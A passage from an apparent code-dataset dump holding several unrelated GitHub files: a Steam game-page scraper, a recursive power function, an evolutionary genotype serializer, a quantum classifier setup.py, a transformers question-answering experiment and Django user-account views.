(.*?)Curators have reviewed this product',\n repr(content_text))\n if len(curator) > 0:\n curator = clean_trn(curator[0])\n else:\n curator = -1\n\n reviews = tree_info.xpath('//*[@id=\"userReviews\"]/div//text()')\n reviews = [clean_trn(x) for x in reviews if clean_trn(x).replace(' ', '').replace(',', '') not in [\"\",\"*\"]]\n reviews_dict = {}\n idx = 0\n while idx < len(reviews):\n if reviews[idx][-1] == \":\":\n key = reviews[idx][:-1]\n reviews_dict[key] = []\n else:\n reviews_dict[key].append(reviews[idx])\n idx += 1\n\n recent_review_count = None\n recent_review_sum = None\n recent_review_detail = None\n recent_review_percent = None\n review_bool = 1\n review_not_enough_bool = 0\n review_count = None\n review_sum = None\n review_detail = None\n review_percent = None\n\n if 'Recent Reviews' in reviews_dict.keys():\n\n if len(reviews_dict['Recent Reviews']) > 2 and reviews_dict['Recent Reviews'][1].strip()[0] == '(' and reviews_dict['Recent Reviews'][1].strip()[-1] == ')':\n recent_review_count = int(reviews_dict['Recent Reviews'][1].replace('(', '').replace(')', '').replace(',', ''))\n recent_review_sum = reviews_dict['Recent Reviews'][0]\n recent_review_detail = reviews_dict['Recent Reviews'][2]\n recent_review_percent = re.findall(r'[0-9]+%', recent_review_detail)\n recent_review_percent = recent_review_percent[0]\n else:\n print(app_id)\n raise\n #\n # elif len(reviews_dict['Recent Reviews']) > 1 and len(re.findall(r'[0-9]+%', reviews_dict['Recent Reviews'][1])) > 0:\n # recent_review_detail = reviews_dict['Recent Reviews'][1]\n # recent_review_percent = re.findall(r'[0-9]+%', recent_review_detail)\n # recent_review_sum = reviews_dict['Recent Reviews'][0]\n # recent_review_count = re.findall(r' (\\d+(?:[.,]\\d+)*) ',recent_review_detail)\n # recent_review_count = recent_review_count[0]\n\n if 'All Reviews' in reviews_dict.keys():\n\n if len(reviews_dict['All Reviews']) > 2 and reviews_dict['All Reviews'][1].strip()[0] == '(' and reviews_dict['All Reviews'][1].strip()[-1] == ')':\n review_count = int(reviews_dict['All Reviews'][1].replace('(', '').replace(')', '').replace(',', ''))\n review_sum = reviews_dict['All Reviews'][0]\n review_detail = reviews_dict['All Reviews'][2]\n review_percent = re.findall(r'[0-9]+%', review_detail)\n review_percent = review_percent[0]\n\n # elif len(reviews_dict['All Reviews']) > 1 and len(re.findall(r'[0-9]+%', reviews_dict['All Reviews'][1])) > 0:\n # review_detail = reviews_dict['All Reviews'][1]\n # review_percent = re.findall(r'[0-9]+%', review_detail)\n # review_sum = reviews_dict['All Reviews'][0]\n # review_count = re.findall(r' (\\d+(?:[.,]\\d+)*) ',review_detail)\n # review_count = review_count[0]\n\n elif len(reviews_dict['All Reviews']) > 1 and reviews_dict['All Reviews'][1] == '- Need more user reviews to generate a score':\n review_count = re.findall(r'[0-9]+', reviews_dict['All Reviews'][0])[0]\n review_not_enough_bool = 1\n elif reviews_dict['All Reviews'][0] == 'No user reviews':\n review_bool = 0\n else:\n print(app_id)\n raise\n\n system_name_list = tree_info.xpath('//div[contains(@class,\"sysreq_tab\")]')\n system_name_list = [clean_trn(x.xpath('./text()')[0]) for x in system_name_list]\n system_name_list = [x.strip() for x in system_name_list if x.strip() != \"\"]\n system_num = len(system_name_list)\n system_req_list = tree_info.xpath('//div[contains(@class,\"game_area_sys_req sysreq_content\")]')\n system_req_list = [x.xpath('.//text()') for x in system_req_list]\n sys_list = []\n if system_num == 0 and len(system_req_list) == 0:\n pass\n elif system_num == 0:\n system_num += 1\n assert len(system_req_list) == 1\n sys_text = [clean_trn(x) for x in system_req_list[0] if\n clean_trn(x).replace(' ', '').replace(',', '') != \"\"]\n if len(sys_text) > 0:\n sys_card = get_sys_list(sys_text)\n if 'OS' in sys_card['Minimum'].keys():\n sys_list.append({\"system\":sys_card['Minimum']['OS'],'Minimum':sys_card['Minimum'],'Recommended':sys_card['Recommended']})\n else:\n sys_list.append({\"system\": None, 'Minimum': sys_card['Minimum'],'Recommended': sys_card['Recommended']})\n else:\n assert system_num == len(system_req_list)\n for sys_name, sys_detail in zip(system_name_list, system_req_list):\n sys_detail = [clean_trn(x) for x in sys_detail if\n clean_trn(x).replace(' ', '').replace(',', '') != \"\"]\n if len(sys_detail) > 0:\n sys_card = get_sys_list(sys_detail)\n sys_list.append({\"system\":sys_name, 'Minimum': sys_card['Minimum'],\n 'Recommended': sys_card['Recommended']})\n\n DLC_bool = 0\n DLC_count = 0\n DLC_detail_list = []\n DLC = tree_info.xpath('//*[@class=\"gameDlcBlocks\"]/a')\n DLC_expend = tree_info.xpath('//*[@id=\"game_area_dlc_expanded\"]/a')\n if len(DLC) > 0:\n DLC_bool = 1\n if len(DLC_expend) > 0:\n DLC += DLC_expend\n DLC_count = len(DLC)\n for dlc in DLC:\n name_list = clean_trn(dlc.xpath('./*[@class=\"game_area_dlc_name\"]//text()')[0])\n price_list = [clean_trn(x) for x in dlc.xpath('./*[@class=\"game_area_dlc_price\"]//text()') if\n clean_trn(x) != \"\"][-1].replace(\"$\", \"\")\n DLC_detail_list.append((name_list, price_list))\n\n new_item_dict = {\n 'game_id': app_id,\n 'name': app_name,\n 'request_status':'Available',\n 'game_title': game_title,\n 'IF_DLC': IF_DLC,\n 'genre': genre,\n 'genre_count': genre_count,\n 'developer': developer,\n 'developer_count': developer_count,\n 'publisher': publisher,\n 'publisher_count': publisher_count,\n 'franchiser': franchiser,\n 'franchiser_count': franchiser_count,\n 'release_date': release_date,\n 'usertag': usertag,\n 'usertag_count': usertag_count,\n 'description_short': description_short,\n 'description_title': description_title,\n 'description_long': description_long,\n 'price': price_,\n 'feature': feature,\n 'feature_count': feature_count,\n 'steam_learning': steam_learning,\n 'language': language,\n 'language_count': language_count,\n 'rating': rating,\n 'rating_standard': rating_standard,\n 'rating_icon': rating_icon,\n 'award_bool': award_bool,\n 'award': award,\n 'metacritic': metacritic,\n 'curator': curator,\n 'review_bool': review_bool,\n 'review_not_enough_bool': review_not_enough_bool,\n 'review_count': review_count,\n 'review_sum': review_sum,\n 'review_detail': review_detail,\n 'review_percent': review_percent,\n 'recent_review_count': recent_review_count,\n 'recent_review_sum': recent_review_sum,\n 'recent_review_detail': recent_review_detail,\n 'recent_review_percent': recent_review_percent,\n 'system_count': system_num,\n 'sys_card': sys_list,\n 'DLC_bool': DLC_bool,\n 'DLC_count': DLC_count,\n 'DLC_detail_list': DLC_detail_list, }\n return new_item_dict\n\n\ndef get_onepackage(content_text, pre_difined_item):\n app_id = pre_difined_item['game_id']\n app_name = pre_difined_item['name']\n tree_info = etree.HTML(content_text)\n game_title = tree_info.xpath('//*[@id=\"appHubAppName\"]//text()')\n info_card = tree_info.xpath('//*[@class=\"details_block\"]//p//text()')\n info_card = [clean_trn(x) for x in info_card if clean_trn(x).replace(' ', '').replace(',', '') != \"\"]\n init_card = {}\n idx = 0\n key = None\n while idx < len(info_card):\n if info_card[idx][-1] == \":\":\n key = info_card[idx][:-1]\n init_card[key] = []\n elif key:\n init_card[key].append(info_card[idx])\n idx += 1\n\n developer = []\n developer_count = 0\n if 'Developer' in init_card.keys():\n developer = init_card['Developer']\n developer_count = len(developer)\n\n publisher = []\n publisher_count = 0\n if 'Publisher' in init_card.keys():\n publisher = init_card['Publisher']\n publisher_count = len(publisher)\n\n franchiser = []\n franchiser_count = 0\n if 'Franchise' in init_card.keys():\n franchiser = init_card['Franchise']\n franchiser_count = len(franchiser)\n\n language = []\n language_count = 0\n if 'Languages' in init_card.keys():\n language = [x.strip() for x in init_card['Languages'][0].split(',')]\n language_count = len(language)\n\n release_date = init_card['Release Date'][0]\n release_date = convert_month(release_date)\n\n description_title = check_blank(\n ' '.join([clean_trn(x) for x in tree_info.xpath('//*[@id=\"game_area_description\"]/h2/text()')])).strip()\n description_long = check_blank(\n ' '.join([clean_trn(x) for x in tree_info.xpath('//*[@id=\"game_area_description\"]//text()')]))\n description_long = description_long.replace(description_title, \"\").strip()\n\n price_ = -1\n purchase = tree_info.xpath('//*[@class=\"game_purchase_action\"]')\n if len(purchase) > 0:\n purchase = purchase[0].xpath('.//text()')\n price = [clean_trn(x) for x in purchase if clean_trn(x).replace(' ', '').replace(',', '') != \"\"]\n for i in range(len(price)):\n if price[i] == 'Add to Cart':\n break\n if '$' in price[i]:\n price_ = price[i].replace('$', '')\n if price[i] in ['Free to Play', 'Free', 'Play Game'] or 'Free' in price[i]:\n price_ = 0\n break\n\n feature = tree_info.xpath('//*[@class=\"game_area_details_specs\"]//text()')\n feature = [clean_trn(x) for x in feature]\n feature_count = len(feature)\n\n learning_about = tree_info.xpath('//*[@class=\"game_area_details_specs learning_about\"]')\n steam_learning = 0\n if len(learning_about) > 0:\n steam_learning = 1\n\n new_item_dict = {\n 'game_id': app_id,\n 'name': app_name,\n 'request_status': 'Package',\n 'game_title': game_title,\n 'developer': developer,\n 'developer_count': developer_count,\n 'publisher': publisher,\n 'publisher_count': publisher_count,\n 'franchiser': franchiser,\n 'franchiser_count': franchiser_count,\n 'release_date': release_date,\n 'description_title': description_title,\n 'description_long': description_long,\n 'price': price_,\n 'feature': feature,\n 'feature_count': feature_count,\n 'steam_learning': steam_learning,\n 'language': language,\n 'language_count': language_count}\n return new_item_dict","repo_name":"zhengyanzhao1997/Steam-optimal_distinctiveness-anly","sub_path":"craw_data_code/craw_stem_game_info/content_func.py","file_name":"content_func.py","file_ext":"py","file_size_in_byte":21249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"10317179190","text":"'''Write a recursive function called raise_power() that takes in two \ninteger parameters, the first parameter being the base number and the second \nparameter being the power you want to raise it to. This function will return the number \nraised to the given power. For example, if you called raise_power(4, 2) you would get 16 \nreturned which is 4^2. Remember to think about what the base and recursive cases will be and \nstart with an iterative approach if you don't know where to begin. '''\n\ndef raise_power(base, power):\n #base case, if the power is 1, the base numbeer doesnt change.\n if (power == 1):\n return base\n else:\n #if the power is greater than 1, the base number multiply itself until the power reaches 0\n return (base * raise_power(base, power-1))\n\n\nprint(raise_power(4,2)) #expect to see 16\n","repo_name":"xingY97/Trees-Sorting","sub_path":"quiz_problem.py","file_name":"quiz_problem.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"35372597765","text":"from __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom random import Random\nfrom typing import List\n\nimport sqlalchemy\nfrom item import Item\nfrom phenotype import Phenotype\nfrom sqlalchemy.ext.asyncio.session import AsyncSession\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.future import select\n\nfrom revolve2.core.database import IncompatibleError, Serializer\n\n\n@dataclass\nclass Genotype:\n items: List[bool]\n\n\ndef random(rng: Random, has_item_prob: float, num_items: int) -> Genotype:\n return Genotype([rng.random() < has_item_prob for _ in range(num_items)])\n\n\ndef develop(genotype: Genotype, items: List[Item], maximum_weight: float) -> Phenotype:\n phenotype = []\n total_weight = 0\n for has_item, item in zip(genotype.items, items):\n if has_item and total_weight + item.weight < maximum_weight:\n phenotype.append(True)\n else:\n phenotype.append(False)\n\n return Phenotype(phenotype)\n\n\nclass GenotypeSerializer(Serializer[Genotype]):\n @classmethod\n async def create_tables(cls, session: AsyncSession) -> None:\n await (await session.connection()).run_sync(DbGenotype.metadata.create_all)\n\n @classmethod\n def identifying_table(cls) -> str:\n return DbGenotype.__tablename__\n\n @classmethod\n async def to_database(\n cls, session: AsyncSession, objects: List[Genotype]\n ) -> List[int]:\n dbobjects = [\n DbGenotype(items=\"\".join([\"1\" if x else \"0\" for x in g.items]))\n for g in objects\n ]\n session.add_all(dbobjects)\n await session.flush()\n ids = [\n dbfitness.id for dbfitness in dbobjects if dbfitness.id is not None\n ] # cannot be none because not nullable. check if only there to silence mypy.\n assert len(ids) == len(objects) # but check just to be sure\n return ids\n\n @classmethod\n async def from_database(\n cls, session: AsyncSession, ids: List[int]\n ) -> List[Genotype]:\n rows = (\n (await session.execute(select(DbGenotype).filter(DbGenotype.id.in_(ids))))\n .scalars()\n .all()\n )\n\n if len(rows) != len(ids):\n raise IncompatibleError()\n\n id_map = {t.id: t for t in rows}\n items_str = [id_map[id].items for id in ids]\n items_bool = [[item == \"1\" for item in items] for items in items_str]\n return [Genotype(items) for items in items_bool]\n\n\nDbBase = declarative_base()\n\n\nclass DbGenotype(DbBase):\n __tablename__ = \"genotype\"\n\n id = sqlalchemy.Column(\n sqlalchemy.Integer,\n nullable=False,\n unique=True,\n autoincrement=True,\n primary_key=True,\n )\n items = sqlalchemy.Column(sqlalchemy.String, nullable=False)\n","repo_name":"8Mile313/EC_Robot_Parkour","sub_path":"revolve2-master/examples/simple_optimization/genotype.py","file_name":"genotype.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"28229536798","text":"import setuptools\nimport inspect\nimport sys\nimport os\nimport re\n\nREQUIREMENTS_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"env\", \"requirements.txt\")\nwith open(REQUIREMENTS_PATH) as f:\n REQUIREMENTS = f.read().splitlines()\n\nif not hasattr(setuptools, 'find_namespace_packages') or not inspect.ismethod(setuptools.find_namespace_packages):\n print(\"Your setuptools version:'{}' does not support PEP 420 (find_namespace_packages). \"\n \"Upgrade it to version >='40.1.0' and repeat install.\".format(setuptools.__version__))\n sys.exit(1)\n\nVERSION_PATH = os.path.join(os.path.dirname(__file__), \"VERSION.txt\")\nwith open(VERSION_PATH, \"r\") as version_file:\n VERSION = version_file.read().strip()\n\n# Read long description from README.\nREADME_PATH = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"README.md\")\nwith open(README_PATH) as readme_file:\n README = re.sub(\n \".*\",\n \"\",\n readme_file.read(),\n flags=re.S | re.M,\n )\n\n\nsetuptools.setup(\n name='quantum-image-classifier',\n version=VERSION,\n description='Quatum image classifier: A library of different quantum algorithms used to classify images',\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url='https://github.com/jorgevazquezperez/Quantum-image-classifier',\n author='Jorge Vázquez Pérez',\n author_email='jorge.vazper@gmail.com',\n #license='Apache-2.0',\n classifiers=[\n \"Environment :: Console\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Science/Research\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python :: 3.10\",\n \"Topic :: Scientific/Engineering\"\n ],\n keywords='qiskit quantum machine learning ml centroids',\n packages=[\n \"quantum_image_classifier\", \n \"quantum_image_classifier.classifier_algorithms\", \n \"quantum_image_classifier.encoding\", \n \"quantum_image_classifier.gates\",\n \"quantum_image_classifier.data_treatment\",\n \"quantum_image_classifier.CESGA_connection\",\n \"quantum_image_classifier.visuals\" ],\n install_requires=REQUIREMENTS,\n include_package_data=True,\n python_requires=\"<3.10\",\n zip_safe=False\n)","repo_name":"jorgevazquezperez/Quantum-image-classifier","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"6174487869","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 2 01:02:14 2020\n\n@author: shyambhu.mukherjee\n\"\"\"\n\nimport pdfminer\nimport io\nfrom pdfminer.layout import LAParams\nfrom pdfminer import high_level\nfrom pdfminer.high_level import extract_text_to_fp as extex\n\ndef extract_raw_text(pdf_filename):\n output = io.StringIO()\n laparams = LAParams() \n # Using the defaults seems to work fine\n\n with open(pdf_filename, \"rb\") as pdffile:\n extex(pdffile, output, laparams=laparams)\n\n return output.getvalue()\ntext1 = \"\"\n#text1 = extract_raw_text('/home/shyambhu.mukherjee/Downloads/duckett.pdf')\ntext2 = extract_raw_text('/home/shyambhu.mukherjee/Downloads/html_tutorial.pdf')\ntext_collated = text1 + text2\n\nf = open('html_corpus.txt','w')\nf.write(text_collated)\nf.close()\n\ndef summary_utils(summary):\n summar = summary[0]['summary_text']\n return summar\n\nf = open('html_corpus.txt','r')\nfultext = f.read()\n#bart-large-cnn model\nimport transformers\nfrom transformers import pipeline\nqaObj = pipeline('question-answering')\nans = qaObj(question = \"write html code for red button\",context = fultext)\n\"\"\"\n{'score': 0.05844178717584647,\n 'start': 56248,\n 'end': 56269,\n 'answer': '405 Language Codes:'}\n\"\"\"\nans = qaObj(question = \"create button\",context = fultext)\n\"\"\"\n{'score': 0.9545003905971328,\n 'start': 74361,\n 'end': 74385,\n 'answer': 'height Numeric Value'}\n\"\"\"\nans = qaObj(question = \"write paragraph tag\",context = fultext)\n\"\"\"\nsame answer as before.\n\"\"\"\nans = qaObj(question = \"paragraph tag\",context = fultext)\n\n## code example from w3school\nsmall_text = r\"\"\"A paragraph always starts on a new line, and is usually a block of text.\n HTML Paragraphs\n The HTML
element defines a paragraph.\n A paragraph always starts on a new line, and browsers automatically add some white space (a margin) before and after a paragraph.\n Example
This is a paragraph.
\n
This is another paragraph.
\n HTML Display\n You cannot be sure how HTML will be displayed.\n Large or small screens, and resized windows will create different results.\n With HTML, you cannot change the display by adding extra spaces or extra lines in your HTML code.\n The browser will automatically remove any extra spaces and lines when the page is displayed:\n Example
This paragraph contains a lot of lines in the source code, \n but the browser ignores it.
This paragraph contains \n a lot of spaces in the source code, but the browser ignores it.
\n \"\"\"\n \nans = qaObj(question = \"write paragraph tag\", context = small_text)\n\"\"\"{'score': 0.27491484847131886,\n 'start': 90,\n 'end': 131,\n 'answer': 'HTML Paragraphs The HTML'}\n\"\"\"\nans = qaObj(question = \"what element is a paragraph tag\", context = small_text)\n\"\"\"\n{'score': 0.5403857393915423, 'start': 127, 'end': 131, 'answer': 'HTML'}\n\"\"\"\nans = qaObj(question = \"what defines a pararaph\",context = small_text)\n\"\"\"\n{'score': 0.47865264802688756,\n 'start': 90,\n 'end': 143,\n 'answer': 'HTML Paragraphs The HTML
element'}\n\"\"\"\n\ngeeks_text = open('geeks_para.txt','r').read()\nans = qaObj(question = \"what defines a paragraph\",context = geeks_text)\n\"\"\"\n{'score': 0.8452085668869813, 'start': 24, 'end': 28, 'answer': 'HTML'}\n\"\"\"\nans = qaObj(question = \"what tag defines a paragraph\",context = geeks_text)\n\"\"\"\n{'score': 0.864106661039159, 'start': 24, 'end': 28, 'answer': 'HTML'}\n\"\"\"\nans = qaObj(question = \"what is a paragraph tag?\",context = geeks_text)\n\"\"\"\n{'score': 0.12643090688080516,\n 'start': 61,\n 'end': 90,\n 'answer': 'both opening and closing tag.'}\n\"\"\"","repo_name":"shyamcody/nlp-experiments","sub_path":"book_bart_combination.py","file_name":"book_bart_combination.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"38972842802","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.forms import model_to_dict\nfrom restaurant.utils import get_filtered_restaurants, restaurants_to_dict\nfrom django.core.paginator import Paginator\n\nfrom .models import (\n User_Profile,\n Review,\n Comment,\n DineSafelyUser,\n Report_Ticket_Comment,\n Report_Ticket_Review,\n Preferences,\n UserActivityLog,\n Restaurant,\n Email,\n)\n\nfrom restaurant.models import Categories\nimport json\n\n# from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.shortcuts import render, redirect\nfrom django.utils.http import urlsafe_base64_decode\nfrom django.contrib.auth.tokens import PasswordResetTokenGenerator\nfrom django.contrib.auth import get_user_model\nfrom django.utils.encoding import force_text\nfrom django.http import HttpResponse, HttpResponseBadRequest, HttpResponseRedirect\n\n\nfrom .utils import (\n send_reset_password_email,\n send_verification_email,\n send_feedback_email,\n send_verification_secondary_email,\n)\n\nfrom .forms import (\n UserCreationForm,\n UserProfileCreationForm,\n ResetPasswordForm,\n UpdatePasswordForm,\n GetEmailForm,\n UserPreferenceForm,\n ContactForm,\n ProfileUpdateForm,\n AddUserEmailForm,\n)\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\ndef user_login(request):\n if request.user.is_authenticated:\n return redirect(\"index\")\n if request.method == \"POST\":\n form = AuthenticationForm(request=request, data=request.POST)\n if form.is_valid():\n username = form.cleaned_data.get(\"username\")\n password = form.cleaned_data.get(\"password\")\n user = authenticate(username=username, password=password)\n logger.info(\"valid\")\n if user is not None:\n login(request, user)\n return redirect(\"user:register\")\n\n # Check if the user is active or not.\n for error in form.errors.as_data()[\"__all__\"]:\n if \"This account is inactive.\" in error:\n user = get_user_model().objects.get(username=form.data[\"username\"])\n send_verification_email(request, user.email)\n return render(\n request=request, template_name=\"sent_verification_email.html\"\n )\n else:\n form = AuthenticationForm()\n return render(request, template_name=\"login.html\", context={\"form\": form})\n\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect(\"index\")\n if request.method == \"POST\":\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save()\n user.is_active = False\n user.save()\n\n form2 = UserProfileCreationForm(user=user, data=request.POST)\n form2.save()\n\n send_verification_email(request, form.cleaned_data.get(\"email\"))\n return render(request=request, template_name=\"sent_verification_email.html\")\n else:\n form = UserCreationForm()\n return render(\n request=request, template_name=\"register.html\", context={\"form\": form}\n )\n\n\ndef show_report(request):\n if not request.user.is_staff:\n messages.warning(request, \"You are not authorized to do so.\")\n return redirect(\"user:profile\")\n\n internal_reviews = list(\n Report_Ticket_Review.objects.all()\n .select_related(\"user\")\n .select_related(\"review\")\n .values(\n \"id\",\n \"review_id\",\n \"reason\",\n \"time\",\n \"user__id\",\n \"user__username\",\n \"review__content\",\n \"review__image1\",\n \"review__image2\",\n \"review__image3\",\n )\n )\n\n internal_comments = list(\n Report_Ticket_Comment.objects.all()\n .select_related(\"user\")\n .select_related(\"comment\")\n .values(\n \"id\",\n \"comment_id\",\n \"reason\",\n \"time\",\n \"user__id\",\n \"user__username\",\n \"comment__text\",\n )\n )\n\n return render(\n request=request,\n template_name=\"admin_comment.html\",\n context={\n \"internal_reviews\": internal_reviews,\n \"internal_comments\": internal_comments,\n },\n )\n\n\n# @login_required()\ndef user_facing(request, user_id):\n if not request.user.is_authenticated:\n return redirect(\"user:login\")\n user = DineSafelyUser.objects.get(pk=user_id)\n user_profile = User_Profile.objects.get(user=user)\n favorite_restaurant_list = user.favorite_restaurants.all()\n user_pref_list = user.preferences.all()\n user_pref_list_json = []\n internal_reviews = list(\n Review.objects.filter(user=user)\n .order_by(\"-time\")\n .all()[:50]\n .values(\n \"user\",\n \"user__username\",\n \"user__user_profile__photo\",\n \"id\",\n \"rating\",\n \"rating_safety\",\n \"rating_door\",\n \"rating_table\",\n \"rating_bathroom\",\n \"rating_path\",\n \"time\",\n \"content\",\n \"image1\",\n \"image2\",\n \"image3\",\n \"restaurant__restaurant_name\",\n \"restaurant__yelp_detail__img_url\",\n \"restaurant__id\",\n )\n )\n for pref in user_pref_list:\n pref_dic = model_to_dict(pref)\n user_pref_list_json.append(pref_dic)\n category_pref = user.preferences.filter(preference_type=\"category\")\n neighbourhood_pref = user.preferences.filter(preference_type=\"neighbourhood\")\n rating_pref = user.preferences.filter(preference_type=\"rating\")\n compliance_pref = user.preferences.filter(preference_type=\"compliance\")\n price_pref = user.preferences.filter(preference_type=\"price\")\n user_pref = [\n category_pref,\n neighbourhood_pref,\n rating_pref,\n compliance_pref,\n price_pref,\n ]\n return render(\n request=request,\n template_name=\"facing_page.html\",\n context={\n \"favorite_restaurant_list\": favorite_restaurant_list,\n \"user_pref\": user_pref,\n \"user_pref_json\": json.dumps(user_pref_list_json, cls=DjangoJSONEncoder),\n \"user_profile\": user_profile,\n \"profile_pic\": \"\" if user_profile is None else user_profile.photo,\n \"internal_reviews\": json.dumps(internal_reviews, cls=DjangoJSONEncoder),\n \"facing_page_user_id\": user.username,\n },\n )\n\n\n# @login_required()\ndef user_reviews(request):\n if not request.user.is_authenticated:\n return redirect(\"user:login\")\n user = request.user\n internal_reviews = list(\n Review.objects.filter(user=user)\n .order_by(\"-time\")\n .all()[:50]\n .values(\n \"user\",\n \"user__username\",\n \"user__user_profile__photo\",\n \"id\",\n \"rating\",\n \"rating_safety\",\n \"rating_door\",\n \"rating_table\",\n \"rating_bathroom\",\n \"rating_path\",\n \"time\",\n \"content\",\n \"image1\",\n \"image2\",\n \"image3\",\n \"restaurant__restaurant_name\",\n \"restaurant__yelp_detail__img_url\",\n \"restaurant__id\",\n \"hidden\",\n )\n )\n return render(\n request=request,\n template_name=\"profile_review.html\",\n context={\n \"internal_reviews\": json.dumps(internal_reviews, cls=DjangoJSONEncoder),\n \"user_id\": request.user.id,\n },\n )\n\n\n# @login_required()\ndef post_logout(request):\n logout(request)\n return redirect(\"user:login\")\n\n\n# @login_required()\ndef profile(request):\n if not request.user.is_authenticated:\n return redirect(\"user:login\")\n\n user = request.user\n if request.method == \"POST\":\n if \"submit-add-email-form\" in request.POST:\n form = AddUserEmailForm(user, request.POST)\n if form.is_valid():\n form.save()\n send_verification_secondary_email(\n request, form.cleaned_data.get(\"email\")\n )\n messages.success(\n request,\n \"We have sent further instructions to your email. \"\n + \"Please follow the steps for verifying your email.\",\n )\n return redirect(\"user:profile\")\n else:\n for field in form:\n for error in field.errors:\n messages.error(request, error)\n elif \"submit-delete-email-form\" in request.POST:\n user_email = Email.objects.filter(\n user=user, email=request.POST[\"email\"]\n ).first()\n if user_email:\n user_email.delete()\n return redirect(\"user:profile\")\n elif \"primary_email\" in request.POST:\n user_email = Email.objects.filter(user=user, active=True).first()\n if user_email:\n user.email = user_email.email\n user.save()\n user_email.delete()\n return redirect(\"user:profile\")\n else:\n messages.error(\n request,\n \"You do not have other active emails. \"\n + \"Please add/activate one before deleting primary email.\",\n )\n else:\n form = ProfileUpdateForm(user=user, data=request.POST)\n if form.is_valid():\n if \"profile-pic\" in request.FILES:\n profile_pic = form.save_image(request.FILES[\"profile-pic\"])\n User_Profile.objects.update_or_create(\n user=user, defaults={\"photo\": profile_pic}\n )\n else:\n default_profile_pic = (\n \"https://s3-media3.fl.yelpcdn.com\"\n \"/photo/O8CmQtEeOUvMTFk0iMn5sw/o.jpg\"\n )\n profile_pic_src = request.POST[\"profile-pic-src\"]\n if profile_pic_src == default_profile_pic:\n User_Profile.objects.update_or_create(\n user=user, defaults={\"photo\": None}\n )\n form.save()\n return redirect(\"user:profile\")\n user_profile = User_Profile.objects.get(user=user)\n favorite_restaurant_list = user.favorite_restaurants.all()\n user_pref_list = user.preferences.all()\n user_pref_list_json = []\n for pref in user_pref_list:\n pref_dic = model_to_dict(pref)\n user_pref_list_json.append(pref_dic)\n category_pref = user.preferences.filter(preference_type=\"category\")\n neighbourhood_pref = user.preferences.filter(preference_type=\"neighbourhood\")\n rating_pref = user.preferences.filter(preference_type=\"rating\")\n compliance_pref = user.preferences.filter(preference_type=\"compliance\")\n price_pref = user.preferences.filter(preference_type=\"price\")\n categories = Preferences.objects.filter(preference_type=\"category\")\n neighbourhoods = Preferences.objects.filter(preference_type=\"neighbourhood\")\n user_pref = [\n category_pref,\n neighbourhood_pref,\n rating_pref,\n compliance_pref,\n price_pref,\n ]\n user_emails = Email.objects.filter(user=user)\n\n return render(\n request=request,\n template_name=\"profile.html\",\n context={\n \"favorite_restaurant_list\": favorite_restaurant_list,\n \"user_pref_json\": json.dumps(user_pref_list_json, cls=DjangoJSONEncoder),\n \"user_profile\": user_profile,\n \"profile_pic\": \"\" if user_profile is None else user_profile.photo,\n \"categories\": categories,\n \"neighbourhoods\": neighbourhoods,\n \"user_pref\": user_pref,\n \"user_emails\": user_emails,\n },\n )\n\n\n# view the viewing history\ndef view_history(request, page):\n viewed_restaurants = []\n if request.user.is_authenticated:\n user_activity = UserActivityLog.objects.filter(user=request.user)\n # get viewed restaurants\n for idx in range(user_activity.count()):\n viewed_restaurants.append(user_activity[idx].restaurant)\n viewed_restaurants = restaurants_to_dict(viewed_restaurants)\n # Add last visit date\n for idx in range(user_activity.count()):\n viewed_restaurants[idx][\"last_visit\"] = user_activity[idx].last_visit.date()\n page_obj = Paginator(viewed_restaurants, 8).get_page(page)\n # add restaurants to context\n context = {\n \"total_restaurant_count\": len(viewed_restaurants),\n \"page_obj\": page_obj,\n }\n return render(request, \"view_history.html\", context=context)\n\n\ndef delete_viewed_restaurant(request, business_id):\n if request.method == \"POST\":\n if request.user.is_authenticated:\n user = request.user\n # current restaurant we want to delete\n restaurant_to_delete = Restaurant.objects.filter(\n business_id=business_id\n ).first()\n # delete activity log\n UserActivityLog.objects.filter(\n user=user, restaurant=restaurant_to_delete\n ).first().delete()\n return HttpResponse(\"Restaurant Removed\")\n\n\ndef clear_viewed_restaurants(request):\n if request.method == \"POST\" and request.user.is_authenticated:\n UserActivityLog.objects.filter(user=request.user).delete()\n return HttpResponse(\"Restaurants Cleared\")\n\n\ndef reset_password_link(request, base64_id, token):\n if request.method == \"POST\":\n\n uid = force_text(urlsafe_base64_decode(base64_id))\n\n user = get_user_model().objects.get(pk=uid)\n if not user or not PasswordResetTokenGenerator().check_token(user, token):\n return HttpResponse(\"This is invalid!\")\n form = ResetPasswordForm(request.POST)\n if form.is_valid():\n form.save(uid)\n return redirect(\"user:login\")\n else:\n return HttpResponse(\"Invalid\")\n else:\n form = ResetPasswordForm()\n return render(\n request=request, template_name=\"reset.html\", context={\"form\": form}\n )\n\n\ndef verify_user_link(request, base64_id, token):\n uid = force_text(urlsafe_base64_decode(base64_id))\n user = get_user_model().objects.get(pk=uid)\n if not user or not PasswordResetTokenGenerator().check_token(user, token):\n return HttpResponse(\"This is invalid!\")\n user.is_active = 